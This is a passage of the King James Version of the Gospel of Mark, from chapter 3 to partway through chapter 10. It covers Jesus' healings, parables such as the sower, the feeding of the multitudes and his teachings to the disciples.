save life, or to kill? But they held their +peace. + +3:5 And when he had looked round about on them with anger, being +grieved for the hardness of their hearts, he saith unto the man, +Stretch forth thine hand. And he stretched it out: and his hand was +restored whole as the other. + +3:6 And the Pharisees went forth, and straightway took counsel with +the Herodians against him, how they might destroy him. + +3:7 But Jesus withdrew himself with his disciples to the sea: and a +great multitude from Galilee followed him, and from Judaea, 3:8 And +from Jerusalem, and from Idumaea, and from beyond Jordan; and they +about Tyre and Sidon, a great multitude, when they had heard what +great things he did, came unto him. + +3:9 And he spake to his disciples, that a small ship should wait on +him because of the multitude, lest they should throng him. + +3:10 For he had healed many; insomuch that they pressed upon him for +to touch him, as many as had plagues. + +3:11 And unclean spirits, when they saw him, fell down before him, and +cried, saying, Thou art the Son of God. + +3:12 And he straitly charged them that they should not make him known. + +3:13 And he goeth up into a mountain, and calleth unto him whom he +would: and they came unto him. + +3:14 And he ordained twelve, that they should be with him, and that he +might send them forth to preach, 3:15 And to have power to heal +sicknesses, and to cast out devils: 3:16 And Simon he surnamed Peter; +3:17 And James the son of Zebedee, and John the brother of James; and +he surnamed them Boanerges, which is, The sons of thunder: 3:18 And +Andrew, and Philip, and Bartholomew, and Matthew, and Thomas, and +James the son of Alphaeus, and Thaddaeus, and Simon the Canaanite, +3:19 And Judas Iscariot, which also betrayed him: and they went into +an house. + +3:20 And the multitude cometh together again, so that they could not +so much as eat bread. + +3:21 And when his friends heard of it, they went out to lay hold on +him: for they said, He is beside himself. + +3:22 And the scribes which came down from Jerusalem said, He hath +Beelzebub, and by the prince of the devils casteth he out devils. + +3:23 And he called them unto him, and said unto them in parables, How +can Satan cast out Satan? 3:24 And if a kingdom be divided against +itself, that kingdom cannot stand. + +3:25 And if a house be divided against itself, that house cannot +stand. + +3:26 And if Satan rise up against himself, and be divided, he cannot +stand, but hath an end. + +3:27 No man can enter into a strong man's house, and spoil his goods, +except he will first bind the strong man; and then he will spoil his +house. + +3:28 Verily I say unto you, All sins shall be forgiven unto the sons +of men, and blasphemies wherewith soever they shall blaspheme: 3:29 +But he that shall blaspheme against the Holy Ghost hath never +forgiveness, but is in danger of eternal damnation. + +3:30 Because they said, He hath an unclean spirit. + +3:31 There came then his brethren and his mother, and, standing +without, sent unto him, calling him. + +3:32 And the multitude sat about him, and they said unto him, Behold, +thy mother and thy brethren without seek for thee. + +3:33 And he answered them, saying, Who is my mother, or my brethren? +3:34 And he looked round about on them which sat about him, and said, +Behold my mother and my brethren! 3:35 For whosoever shall do the +will of God, the same is my brother, and my sister, and mother. + +4:1 And he began again to teach by the sea side: and there was +gathered unto him a great multitude, so that he entered into a ship, +and sat in the sea; and the whole multitude was by the sea on the +land. + +4:2 And he taught them many things by parables, and said unto them in +his doctrine, 4:3 Hearken; Behold, there went out a sower to sow: 4:4 +And it came to pass, as he sowed, some fell by the way side, and the +fowls of the air came and devoured it up. + +4:5 And some fell on stony ground, where it had not much earth; and +immediately it sprang up, because it had no depth of earth: 4:6 But +when the sun was up, it was scorched; and because it had no root, it +withered away. + +4:7 And some fell among thorns, and the thorns grew up, and choked it, +and it yielded no fruit. + +4:8 And other fell on good ground, and did yield fruit that sprang up +and increased; and brought forth, some thirty, and some sixty, and +some an hundred. + +4:9 And he said unto them, He that hath ears to hear, let him hear. + +4:10 And when he was alone, they that were about him with the twelve +asked of him the parable. + +4:11 And he said unto them, Unto you it is given to know the mystery +of the kingdom of God: but unto them that are without, all these +things are done in parables: 4:12 That seeing they may see, and not +perceive; and hearing they may hear, and not understand; lest at any +time they should be converted, and their sins should be forgiven them. + +4:13 And he said unto them, Know ye not this parable? and how then +will ye know all parables? 4:14 The sower soweth the word. + +4:15 And these are they by the way side, where the word is sown; but +when they have heard, Satan cometh immediately, and taketh away the +word that was sown in their hearts. + +4:16 And these are they likewise which are sown on stony ground; who, +when they have heard the word, immediately receive it with gladness; +4:17 And have no root in themselves, and so endure but for a time: +afterward, when affliction or persecution ariseth for the word's sake, +immediately they are offended. + +4:18 And these are they which are sown among thorns; such as hear the +word, 4:19 And the cares of this world, and the deceitfulness of +riches, and the lusts of other things entering in, choke the word, and +it becometh unfruitful. + +4:20 And these are they which are sown on good ground; such as hear +the word, and receive it, and bring forth fruit, some thirtyfold, some +sixty, and some an hundred. + +4:21 And he said unto them, Is a candle brought to be put under a +bushel, or under a bed? and not to be set on a candlestick? 4:22 For +there is nothing hid, which shall not be manifested; neither was any +thing kept secret, but that it should come abroad. + +4:23 If any man have ears to hear, let him hear. + +4:24 And he said unto them, Take heed what ye hear: with what measure +ye mete, it shall be measured to you: and unto you that hear shall +more be given. + +4:25 For he that hath, to him shall be given: and he that hath not, +from him shall be taken even that which he hath. + +4:26 And he said, So is the kingdom of God, as if a man should cast +seed into the ground; 4:27 And should sleep, and rise night and day, +and the seed should spring and grow up, he knoweth not how. + +4:28 For the earth bringeth forth fruit of herself; first the blade, +then the ear, after that the full corn in the ear. + +4:29 But when the fruit is brought forth, immediately he putteth in +the sickle, because the harvest is come. + +4:30 And he said, Whereunto shall we liken the kingdom of God? or with +what comparison shall we compare it? 4:31 It is like a grain of +mustard seed, which, when it is sown in the earth, is less than all +the seeds that be in the earth: 4:32 But when it is sown, it groweth +up, and becometh greater than all herbs, and shooteth out great +branches; so that the fowls of the air may lodge under the shadow of +it. + +4:33 And with many such parables spake he the word unto them, as they +were able to hear it. + +4:34 But without a parable spake he not unto them: and when they were +alone, he expounded all things to his disciples. + +4:35 And the same day, when the even was come, he saith unto them, Let +us pass over unto the other side. + +4:36 And when they had sent away the multitude, they took him even as +he was in the ship. And there were also with him other little ships. + +4:37 And there arose a great storm of wind, and the waves beat into +the ship, so that it was now full. + +4:38 And he was in the hinder part of the ship, asleep on a pillow: +and they awake him, and say unto him, Master, carest thou not that we +perish? 4:39 And he arose, and rebuked the wind, and said unto the +sea, Peace, be still. And the wind ceased, and there was a great calm. + +4:40 And he said unto them, Why are ye so fearful? how is it that ye +have no faith? 4:41 And they feared exceedingly, and said one to +another, What manner of man is this, that even the wind and the sea +obey him? 5:1 And they came over unto the other side of the sea, into +the country of the Gadarenes. + +5:2 And when he was come out of the ship, immediately there met him +out of the tombs a man with an unclean spirit, 5:3 Who had his +dwelling among the tombs; and no man could bind him, no, not with +chains: 5:4 Because that he had been often bound with fetters and +chains, and the chains had been plucked asunder by him, and the +fetters broken in pieces: neither could any man tame him. + +5:5 And always, night and day, he was in the mountains, and in the +tombs, crying, and cutting himself with stones. + +5:6 But when he saw Jesus afar off, he ran and worshipped him, 5:7 And +cried with a loud voice, and said, What have I to do with thee, Jesus, +thou Son of the most high God? I adjure thee by God, that thou torment +me not. + +5:8 For he said unto him, Come out of the man, thou unclean spirit. + +5:9 And he asked him, What is thy name? And he answered, saying, My +name is Legion: for we are many. + +5:10 And he besought him much that he would not send them away out of +the country. + +5:11 Now there was there nigh unto the mountains a great herd of swine +feeding. + +5:12 And all the devils besought him, saying, Send us into the swine, +that we may enter into them. + +5:13 And forthwith Jesus gave them leave. And the unclean spirits went +out, and entered into the swine: and the herd ran violently down a +steep place into the sea, (they were about two thousand;) and were +choked in the sea. + +5:14 And they that fed the swine fled, and told it in the city, and in +the country. And they went out to see what it was that was done. + +5:15 And they come to Jesus, and see him that was possessed with the +devil, and had the legion, sitting, and clothed, and in his right +mind: and they were afraid. + +5:16 And they that saw it told them how it befell to him that was +possessed with the devil, and also concerning the swine. + +5:17 And they began to pray him to depart out of their coasts. + +5:18 And when he was come into the ship, he that had been possessed +with the devil prayed him that he might be with him. + +5:19 Howbeit Jesus suffered him not, but saith unto him, Go home to +thy friends, and tell them how great things the Lord hath done for +thee, and hath had compassion on thee. + +5:20 And he departed, and began to publish in Decapolis how great +things Jesus had done for him: and all men did marvel. + +5:21 And when Jesus was passed over again by ship unto the other side, +much people gathered unto him: and he was nigh unto the sea. + +5:22 And, behold, there cometh one of the rulers of the synagogue, +Jairus by name; and when he saw him, he fell at his feet, 5:23 And +besought him greatly, saying, My little daughter lieth at the point of +death: I pray thee, come and lay thy hands on her, that she may be +healed; and she shall live. + +5:24 And Jesus went with him; and much people followed him, and +thronged him. + +5:25 And a certain woman, which had an issue of blood twelve years, +5:26 And had suffered many things of many physicians, and had spent +all that she had, and was nothing bettered, but rather grew worse, +5:27 When she had heard of Jesus, came in the press behind, and +touched his garment. + +5:28 For she said, If I may touch but his clothes, I shall be whole. + +5:29 And straightway the fountain of her blood was dried up; and she +felt in her body that she was healed of that plague. + +5:30 And Jesus, immediately knowing in himself that virtue had gone +out of him, turned him about in the press, and said, Who touched my +clothes? 5:31 And his disciples said unto him, Thou seest the +multitude thronging thee, and sayest thou, Who touched me? 5:32 And +he looked round about to see her that had done this thing. + +5:33 But the woman fearing and trembling, knowing what was done in +her, came and fell down before him, and told him all the truth. + +5:34 And he said unto her, Daughter, thy faith hath made thee whole; +go in peace, and be whole of thy plague. + +5:35 While he yet spake, there came from the ruler of the synagogue's +house certain which said, Thy daughter is dead: why troublest thou the +Master any further? 5:36 As soon as Jesus heard the word that was +spoken, he saith unto the ruler of the synagogue, Be not afraid, only +believe. + +5:37 And he suffered no man to follow him, save Peter, and James, and +John the brother of James. + +5:38 And he cometh to the house of the ruler of the synagogue, and +seeth the tumult, and them that wept and wailed greatly. + +5:39 And when he was come in, he saith unto them, Why make ye this +ado, and weep? the damsel is not dead, but sleepeth. + +5:40 And they laughed him to scorn. But when he had put them all out, +he taketh the father and the mother of the damsel, and them that were +with him, and entereth in where the damsel was lying. + +5:41 And he took the damsel by the hand, and said unto her, Talitha +cumi; which is, being interpreted, Damsel, I say unto thee, arise. + +5:42 And straightway the damsel arose, and walked; for she was of the +age of twelve years. And they were astonished with a great +astonishment. + +5:43 And he charged them straitly that no man should know it; and +commanded that something should be given her to eat. + +6:1 And he went out from thence, and came into his own country; and +his disciples follow him. + +6:2 And when the sabbath day was come, he began to teach in the +synagogue: and many hearing him were astonished, saying, From whence +hath this man these things? and what wisdom is this which is given +unto him, that even such mighty works are wrought by his hands? 6:3 +Is not this the carpenter, the son of Mary, the brother of James, and +Joses, and of Juda, and Simon? and are not his sisters here with us? +And they were offended at him. + +6:4 But Jesus, said unto them, A prophet is not without honour, but in +his own country, and among his own kin, and in his own house. + +6:5 And he could there do no mighty work, save that he laid his hands +upon a few sick folk, and healed them. + +6:6 And he marvelled because of their unbelief. And he went round +about the villages, teaching. + +6:7 And he called unto him the twelve, and began to send them forth by +two and two; and gave them power over unclean spirits; 6:8 And +commanded them that they should take nothing for their journey, save a +staff only; no scrip, no bread, no money in their purse: 6:9 But be +shod with sandals; and not put on two coats. + +6:10 And he said unto them, In what place soever ye enter into an +house, there abide till ye depart from that place. + +6:11 And whosoever shall not receive you, nor hear you, when ye depart +thence, shake off the dust under your feet for a testimony against +them. + +Verily I say unto you, It shall be more tolerable for Sodom and +Gomorrha in the day of judgment, than for that city. + +6:12 And they went out, and preached that men should repent. + +6:13 And they cast out many devils, and anointed with oil many that +were sick, and healed them. + +6:14 And king Herod heard of him; (for his name was spread abroad:) +and he said, That John the Baptist was risen from the dead, and +therefore mighty works do shew forth themselves in him. + +6:15 Others said, That it is Elias. And others said, That it is a +prophet, or as one of the prophets. + +6:16 But when Herod heard thereof, he said, It is John, whom I +beheaded: he is risen from the dead. + +6:17 For Herod himself had sent forth and laid hold upon John, and +bound him in prison for Herodias' sake, his brother Philip's wife: for +he had married her. + +6:18 For John had said unto Herod, It is not lawful for thee to have +thy brother's wife. + +6:19 Therefore Herodias had a quarrel against him, and would have +killed him; but she could not: 6:20 For Herod feared John, knowing +that he was a just man and an holy, and observed him; and when he +heard him, he did many things, and heard him gladly. + +6:21 And when a convenient day was come, that Herod on his birthday +made a supper to his lords, high captains, and chief estates of +Galilee; 6:22 And when the daughter of the said Herodias came in, and +danced, and pleased Herod and them that sat with him, the king said +unto the damsel, Ask of me whatsoever thou wilt, and I will give it +thee. + +6:23 And he sware unto her, Whatsoever thou shalt ask of me, I will +give it thee, unto the half of my kingdom. + +6:24 And she went forth, and said unto her mother, What shall I ask? +And she said, The head of John the Baptist. + +6:25 And she came in straightway with haste unto the king, and asked, +saying, I will that thou give me by and by in a charger the head of +John the Baptist. + +6:26 And the king was exceeding sorry; yet for his oath's sake, and +for their sakes which sat with him, he would not reject her. + +6:27 And immediately the king sent an executioner, and commanded his +head to be brought: and he went and beheaded him in the prison, 6:28 +And brought his head in a charger, and gave it to the damsel: and the +damsel gave it to her mother. + +6:29 And when his disciples heard of it, they came and took up his +corpse, and laid it in a tomb. + +6:30 And the apostles gathered themselves together unto Jesus, and +told him all things, both what they had done, and what they had +taught. + +6:31 And he said unto them, Come ye yourselves apart into a desert +place, and rest a while: for there were many coming and going, and +they had no leisure so much as to eat. + +6:32 And they departed into a desert place by ship privately. + +6:33 And the people saw them departing, and many knew him, and ran +afoot thither out of all cities, and outwent them, and came together +unto him. + +6:34 And Jesus, when he came out, saw much people, and was moved with +compassion toward them, because they were as sheep not having a +shepherd: and he began to teach them many things. + +6:35 And when the day was now far spent, his disciples came unto him, +and said, This is a desert place, and now the time is far passed: 6:36 +Send them away, that they may go into the country round about, and +into the villages, and buy themselves bread: for they have nothing to +eat. + +6:37 He answered and said unto them, Give ye them to eat. And they say +unto him, Shall we go and buy two hundred pennyworth of bread, and +give them to eat? 6:38 He saith unto them, How many loaves have ye? +go and see. And when they knew, they say, Five, and two fishes. + +6:39 And he commanded them to make all sit down by companies upon the +green grass. + +6:40 And they sat down in ranks, by hundreds, and by fifties. + +6:41 And when he had taken the five loaves and the two fishes, he +looked up to heaven, and blessed, and brake the loaves, and gave them +to his disciples to set before them; and the two fishes divided he +among them all. + +6:42 And they did all eat, and were filled. + +6:43 And they took up twelve baskets full of the fragments, and of the +fishes. + +6:44 And they that did eat of the loaves were about five thousand men. + +6:45 And straightway he constrained his disciples to get into the +ship, and to go to the other side before unto Bethsaida, while he sent +away the people. + +6:46 And when he had sent them away, he departed into a mountain to +pray. + +6:47 And when even was come, the ship was in the midst of the sea, and +he alone on the land. + +6:48 And he saw them toiling in rowing; for the wind was contrary unto +them: and about the fourth watch of the night he cometh unto them, +walking upon the sea, and would have passed by them. + +6:49 But when they saw him walking upon the sea, they supposed it had +been a spirit, and cried out: 6:50 For they all saw him, and were +troubled. And immediately he talked with them, and saith unto them, Be +of good cheer: it is I; be not afraid. + +6:51 And he went up unto them into the ship; and the wind ceased: and +they were sore amazed in themselves beyond measure, and wondered. + +6:52 For they considered not the miracle of the loaves: for their +heart was hardened. + +6:53 And when they had passed over, they came into the land of +Gennesaret, and drew to the shore. + +6:54 And when they were come out of the ship, straightway they knew +him, 6:55 And ran through that whole region round about, and began to +carry about in beds those that were sick, where they heard he was. + +6:56 And whithersoever he entered, into villages, or cities, or +country, they laid the sick in the streets, and besought him that they +might touch if it were but the border of his garment: and as many as +touched him were made whole. + +7:1 Then came together unto him the Pharisees, and certain of the +scribes, which came from Jerusalem. + +7:2 And when they saw some of his disciples eat bread with defiled, +that is to say, with unwashen, hands, they found fault. + +7:3 For the Pharisees, and all the Jews, except they wash their hands +oft, eat not, holding the tradition of the elders. + +7:4 And when they come from the market, except they wash, they eat +not. + +And many other things there be, which they have received to hold, as +the washing of cups, and pots, brasen vessels, and of tables. + +7:5 Then the Pharisees and scribes asked him, Why walk not thy +disciples according to the tradition of the elders, but eat bread with +unwashen hands? 7:6 He answered and said unto them, Well hath Esaias +prophesied of you hypocrites, as it is written, This people honoureth +me with their lips, but their heart is far from me. + +7:7 Howbeit in vain do they worship me, teaching for doctrines the +commandments of men. + +7:8 For laying aside the commandment of God, ye hold the tradition of +men, as the washing of pots and cups: and many other such like things +ye do. + +7:9 And he said unto them, Full well ye reject the commandment of God, +that ye may keep your own tradition. + +7:10 For Moses said, Honour thy father and thy mother; and, Whoso +curseth father or mother, let him die the death: 7:11 But ye say, If a +man shall say to his father or mother, It is Corban, that is to say, a +gift, by whatsoever thou mightest be profited by me; he shall be free. + +7:12 And ye suffer him no more to do ought for his father or his +mother; 7:13 Making the word of God of none effect through your +tradition, which ye have delivered: and many such like things do ye. + +7:14 And when he had called all the people unto him, he said unto +them, Hearken unto me every one of you, and understand: 7:15 There is +nothing from without a man, that entering into him can defile him: but +the things which come out of him, those are they that defile the man. + +7:16 If any man have ears to hear, let him hear. + +7:17 And when he was entered into the house from the people, his +disciples asked him concerning the parable. + +7:18 And he saith unto them, Are ye so without understanding also? Do +ye not perceive, that whatsoever thing from without entereth into the +man, it cannot defile him; 7:19 Because it entereth not into his +heart, but into the belly, and goeth out into the draught, purging all +meats? 7:20 And he said, That which cometh out of the man, that +defileth the man. + +7:21 For from within, out of the heart of men, proceed evil thoughts, +adulteries, fornications, murders, 7:22 Thefts, covetousness, +wickedness, deceit, lasciviousness, an evil eye, blasphemy, pride, +foolishness: 7:23 All these evil things come from within, and defile +the man. + +7:24 And from thence he arose, and went into the borders of Tyre and +Sidon, and entered into an house, and would have no man know it: but +he could not be hid. + +7:25 For a certain woman, whose young daughter had an unclean spirit, +heard of him, and came and fell at his feet: 7:26 The woman was a +Greek, a Syrophenician by nation; and she besought him that he would +cast forth the devil out of her daughter. + +7:27 But Jesus said unto her, Let the children first be filled: for it +is not meet to take the children's bread, and to cast it unto the +dogs. + +7:28 And she answered and said unto him, Yes, Lord: yet the dogs under +the table eat of the children's crumbs. + +7:29 And he said unto her, For this saying go thy way; the devil is +gone out of thy daughter. + +7:30 And when she was come to her house, she found the devil gone out, +and her daughter laid upon the bed. + +7:31 And again, departing from the coasts of Tyre and Sidon, he came +unto the sea of Galilee, through the midst of the coasts of Decapolis. + +7:32 And they bring unto him one that was deaf, and had an impediment +in his speech; and they beseech him to put his hand upon him. + +7:33 And he took him aside from the multitude, and put his fingers +into his ears, and he spit, and touched his tongue; 7:34 And looking +up to heaven, he sighed, and saith unto him, Ephphatha, that is, Be +opened. + +7:35 And straightway his ears were opened, and the string of his +tongue was loosed, and he spake plain. + +7:36 And he charged them that they should tell no man: but the more he +charged them, so much the more a great deal they published it; 7:37 +And were beyond measure astonished, saying, He hath done all things +well: he maketh both the deaf to hear, and the dumb to speak. + +8:1 In those days the multitude being very great, and having nothing +to eat, Jesus called his disciples unto him, and saith unto them, 8:2 +I have compassion on the multitude, because they have now been with me +three days, and have nothing to eat: 8:3 And if I send them away +fasting to their own houses, they will faint by the way: for divers of +them came from far. + +8:4 And his disciples answered him, From whence can a man satisfy +these men with bread here in the wilderness? 8:5 And he asked them, +How many loaves have ye? And they said, Seven. + +8:6 And he commanded the people to sit down on the ground: and he took +the seven loaves, and gave thanks, and brake, and gave to his +disciples to set before them; and they did set them before the people. + +8:7 And they had a few small fishes: and he blessed, and commanded to +set them also before them. + +8:8 So they did eat, and were filled: and they took up of the broken +meat that was left seven baskets. + +8:9 And they that had eaten were about four thousand: and he sent them +away. + +8:10 And straightway he entered into a ship with his disciples, and +came into the parts of Dalmanutha. + +8:11 And the Pharisees came forth, and began to question with him, +seeking of him a sign from heaven, tempting him. + +8:12 And he sighed deeply in his spirit, and saith, Why doth this +generation seek after a sign? verily I say unto you, There shall no +sign be given unto this generation. + +8:13 And he left them, and entering into the ship again departed to +the other side. + +8:14 Now the disciples had forgotten to take bread, neither had they +in the ship with them more than one loaf. + +8:15 And he charged them, saying, Take heed, beware of the leaven of +the Pharisees, and of the leaven of Herod. + +8:16 And they reasoned among themselves, saying, It is because we have +no bread. + +8:17 And when Jesus knew it, he saith unto them, Why reason ye, +because ye have no bread? perceive ye not yet, neither understand? +have ye your heart yet hardened? 8:18 Having eyes, see ye not? and +having ears, hear ye not? and do ye not remember? 8:19 When I brake +the five loaves among five thousand, how many baskets full of +fragments took ye up? They say unto him, Twelve. + +8:20 And when the seven among four thousand, how many baskets full of +fragments took ye up? And they said, Seven. + +8:21 And he said unto them, How is it that ye do not understand? 8:22 +And he cometh to Bethsaida; and they bring a blind man unto him, and +besought him to touch him. + +8:23 And he took the blind man by the hand, and led him out of the +town; and when he had spit on his eyes, and put his hands upon him, he +asked him if he saw ought. + +8:24 And he looked up, and said, I see men as trees, walking. + +8:25 After that he put his hands again upon his eyes, and made him +look up: and he was restored, and saw every man clearly. + +8:26 And he sent him away to his house, saying, Neither go into the +town, nor tell it to any in the town. + +8:27 And Jesus went out, and his disciples, into the towns of Caesarea +Philippi: and by the way he asked his disciples, saying unto them, +Whom do men say that I am? 8:28 And they answered, John the Baptist; +but some say, Elias; and others, One of the prophets. + +8:29 And he saith unto them, But whom say ye that I am? And Peter +answereth and saith unto him, Thou art the Christ. + +8:30 And he charged them that they should tell no man of him. + +8:31 And he began to teach them, that the Son of man must suffer many +things, and be rejected of the elders, and of the chief priests, and +scribes, and be killed, and after three days rise again. + +8:32 And he spake that saying openly. And Peter took him, and began to +rebuke him. + +8:33 But when he had turned about and looked on his disciples, he +rebuked Peter, saying, Get thee behind me, Satan: for thou savourest +not the things that be of God, but the things that be of men. + +8:34 And when he had called the people unto him with his disciples +also, he said unto them, Whosoever will come after me, let him deny +himself, and take up his cross, and follow me. + +8:35 For whosoever will save his life shall lose it; but whosoever +shall lose his life for my sake and the gospel's, the same shall save +it. + +8:36 For what shall it profit a man, if he shall gain the whole world, +and lose his own soul? 8:37 Or what shall a man give in exchange for +his soul? 8:38 Whosoever therefore shall be ashamed of me and of my +words in this adulterous and sinful generation; of him also shall the +Son of man be ashamed, when he cometh in the glory of his Father with +the holy angels. + +9:1 And he said unto them, Verily I say unto you, That there be some +of them that stand here, which shall not taste of death, till they +have seen the kingdom of God come with power. + +9:2 And after six days Jesus taketh with him Peter, and James, and +John, and leadeth them up into an high mountain apart by themselves: +and he was transfigured before them. + +9:3 And his raiment became shining, exceeding white as snow; so as no +fuller on earth can white them. + +9:4 And there appeared unto them Elias with Moses: and they were +talking with Jesus. + +9:5 And Peter answered and said to Jesus, Master, it is good for us to +be here: and let us make three tabernacles; one for thee, and one for +Moses, and one for Elias. + +9:6 For he wist not what to say; for they were sore afraid. + +9:7 And there was a cloud that overshadowed them: and a voice came out +of the cloud, saying, This is my beloved Son: hear him. + +9:8 And suddenly, when they had looked round about, they saw no man +any more, save Jesus only with themselves. + +9:9 And as they came down from the mountain, he charged them that they +should tell no man what things they had seen, till the Son of man were +risen from the dead. + +9:10 And they kept that saying with themselves, questioning one with +another what the rising from the dead should mean. + +9:11 And they asked him, saying, Why say the scribes that Elias must +first come? 9:12 And he answered and told them, Elias verily cometh +first, and restoreth all things; and how it is written of the Son of +man, that he must suffer many things, and be set at nought. + +9:13 But I say unto you, That Elias is indeed come, and they have done +unto him whatsoever they listed, as it is written of him. + +9:14 And when he came to his disciples, he saw a great multitude about +them, and the scribes questioning with them. + +9:15 And straightway all the people, when they beheld him, were +greatly amazed, and running to him saluted him. + +9:16 And he asked the scribes, What question ye with them? 9:17 And +one of the multitude answered and said, Master, I have brought unto +thee my son, which hath a dumb spirit; 9:18 And wheresoever he taketh +him, he teareth him: and he foameth, and gnasheth with his teeth, and +pineth away: and I spake to thy disciples that they should cast him +out; and they could not. + +9:19 He answereth him, and saith, O faithless generation, how long +shall I be with you? how long shall I suffer you? bring him unto me. + +9:20 And they brought him unto him: and when he saw him, straightway +the spirit tare him; and he fell on the ground, and wallowed foaming. + +9:21 And he asked his father, How long is it ago since this came unto +him? And he said, Of a child. + +9:22 And ofttimes it hath cast him into the fire, and into the waters, +to destroy him: but if thou canst do any thing, have compassion on us, +and help us. + +9:23 Jesus said unto him, If thou canst believe, all things are +possible to him that believeth. + +9:24 And straightway the father of the child cried out, and said with +tears, Lord, I believe; help thou mine unbelief. + +9:25 When Jesus saw that the people came running together, he rebuked +the foul spirit, saying unto him, Thou dumb and deaf spirit, I charge +thee, come out of him, and enter no more into him. + +9:26 And the spirit cried, and rent him sore, and came out of him: and +he was as one dead; insomuch that many said, He is dead. + +9:27 But Jesus took him by the hand, and lifted him up; and he arose. + +9:28 And when he was come into the house, his disciples asked him +privately, Why could not we cast him out? 9:29 And he said unto them, +This kind can come forth by nothing, but by prayer and fasting. + +9:30 And they departed thence, and passed through Galilee; and he +would not that any man should know it. + +9:31 For he taught his disciples, and said unto them, The Son of man +is delivered into the hands of men, and they shall kill him; and after +that he is killed, he shall rise the third day. + +9:32 But they understood not that saying, and were afraid to ask him. + +9:33 And he came to Capernaum: and being in the house he asked them, +What was it that ye disputed among yourselves by the way? 9:34 But +they held their peace: for by the way they had disputed among +themselves, who should be the greatest. + +9:35 And he sat down, and called the twelve, and saith unto them, If +any man desire to be first, the same shall be last of all, and servant +of all. + +9:36 And he took a child, and set him in the midst of them: and when +he had taken him in his arms, he said unto them, 9:37 Whosoever shall +receive one of such children in my name, receiveth me: and whosoever +shall receive me, receiveth not me, but him that sent me. + +9:38 And John answered him, saying, Master, we saw one casting out +devils in thy name, and he followeth not us: and we forbad him, +because he followeth not us. + +9:39 But Jesus said, Forbid him not: for there is no man which shall +do a miracle in my name, that can lightly speak evil of me. + +9:40 For he that is not against us is on our part. + +9:41 For whosoever shall give you a cup of water to drink in my name, +because ye belong to Christ, verily I say unto you, he shall not lose +his reward. + +9:42 And whosoever shall offend one of these little ones that believe +in me, it is better for him that a millstone were hanged about his +neck, and he were cast into the sea. + +9:43 And if thy hand offend thee, cut it off: it is better for thee to +enter into life maimed, than having two hands to go into hell, into +the fire that never shall be quenched: 9:44 Where their worm dieth +not, and the fire is not quenched. + +9:45 And if thy foot offend thee, cut it off: it is better for thee to +enter halt into life, than having two feet to be cast into hell, into +the fire that never shall be quenched: 9:46 Where their worm dieth +not, and the fire is not quenched. + +9:47 And if thine eye offend thee, pluck it out: it is better for thee +to enter into the kingdom of God with one eye, than having two eyes to +be cast into hell fire: 9:48 Where their worm dieth not, and the fire +is not quenched. + +9:49 For every one shall be salted with fire, and every sacrifice +shall be salted with salt. + +9:50 Salt is good: but if the salt have lost his saltness, wherewith +will ye season it? Have salt in yourselves, and have peace one with +another. + +10:1 And he arose from thence, and cometh into the coasts of Judaea by +the farther side of Jordan: and the people resort unto him again; and, +as he was wont, he taught them again. + +10:2 And the Pharisees came to him, and asked him, Is it lawful for a +man to put away his wife? tempting him. + +10:3 And he answered and said unto them, What did Moses command you? +10:4 And they said, Moses suffered to write a bill of divorcement, and +to put her away. + +10:5 And Jesus answered and said unto them, For the hardness of your +heart he wrote you this precept. + +10:6 But from the beginning of the creation God made them male and +female. + +10:7 For this cause shall a man leave his father and mother, and +cleave to his wife; 10:8 And they twain shall be one flesh: so then +they are no more twain, but one flesh. + +10:9 What therefore God hath joined together, let not man put asunder. + +10:10 And in the house his disciples asked him again of the same +matter. + +10:11 And he saith unto them, Whosoever shall put away his wife, and +marry another, committeth adultery against her. + +10:12 And if a woman shall put away her husband, and be married to +another, she committeth adultery. + +10:13 And they brought young children to him, that he should touch +them: and his disciples rebuked those that brought them. + +10:14 But when Jesus saw it, he was much displeased, and said unto +them, Suffer the little children to come unto me, and forbid them not: +for of such is the kingdom of God. + +10:15 Verily I say unto you, Whosoever shall not receive the kingdom +of God as a little child, he shall not enter therein. + +10:16 And he took them up in his arms, put his hands upon them, and +blessed them. + +10:17 And when he was gone forth into the way, there came one running, +and kneeled to him, and asked him, Good Master, what shall I do that I +may inherit eternal life? 10:18 And Jesus said unto him, Why callest +thou me good? there is none good but one, that is, God. + +10:19 Thou knowest the commandments, Do not commit adultery, Do not +kill, Do not steal, Do not bear false witness, Defraud not, Honour thy +father and mother. 10:20 And he answered and said unto him, Master, +all these have I observed from my youth. + +10:21 Then Jesus beholding him loved him, and said unto him, One thing +thou lackest: go thy way, sell whatsoever thou hast, and give to the +poor, and thou shalt have treasure in heaven: and come, take up the +cross, and follow me. + +10:22 And he was sad at that saying, and went away grieved: for he had +great possessions. + +10:23 And Jesus looked round about, and saith unto his disciples, How +hardly shall they that have riches enter into the kingdom of God! +10:24 And the disciples were astonished at his words. But Jesus +answereth again, and saith unto them, Children, how hard is it for +them that trust in riches to enter into the kingdom of God! 10:25 It +is easier for a camel to go through the eye of a needle, than for a +rich man to enter into the kingdom of God. + +10:26 And they were astonished out of measure, saying among +themselves, Who then can be saved? 10:27 And Jesus looking upon them +saith, With men it is impossible, but not with God: for with God all +things are possible. + +10:28 Then Peter began to say unto him, Lo, we have left all, and have +followed thee. + +10:29 And Jesus answered and said, Verily I say unto you, There is no +man that hath left house, or brethren, or sisters, or father, or +mother, or wife, or children, or lands, for my sake, and the gospel's, +10:30 But he shall receive an hundredfold now in this time, houses, +and brethren, and sisters, and mothers, and children, and lands, with +persecutions; and in the world to come eternal life. + +10:31 But many that are first shall be last; and the last first. + +10:32 And they were in the way going up to Jerusalem; and Jesus went +before them: and they were amazed; and as they followed, they were +afraid. + +And he took again the twelve, and began to tell them what things +should happen unto him, 10:33 Saying, Behold, we go up to Jerusalem; +and the Son of man shall be delivered unto the chief priests, and unto +the scribes; and they shall condemn him to death, and shall deliver +him to the Gentiles: 10:34 And they shall mock him, and shall scourge +him, and shall spit upon him, and shall kill him: and the third day he +shall rise again. + +10:35 And James and John, the sons of Zebedee, come unto him, saying, +Master, we would that thou shouldest do for us whatsoever we shall +desire. + +10:36 And he said unto them, What would ye that I should do for you? +10:37 They said unto him, Grant unto us that we may sit, one on thy +right hand, and the other on thy left hand, in thy glory. + +10:38 But Jesus said unto them, Ye know not what ye ask: can ye drink +of the cup that I drink of? and be baptized with the baptism that I am +baptized with? 10:39 And they said unto him, We can. And Jesus said +unto them, Ye shall indeed drink of the cup that I drink of; and with +the baptism that I am baptized withal shall ye be baptized: 10:40 But +to sit on my right hand and on my left hand is not mine to give; but +it shall be given to them for whom it is prepared. + +10:41 And when the ten heard it, they began to be much displeased with +James and John. + +10:42 But Jesus called them to him, and saith unto them, Ye know that +they which are accounted to rule over the Gentiles exercise lordship +over them; and their great ones 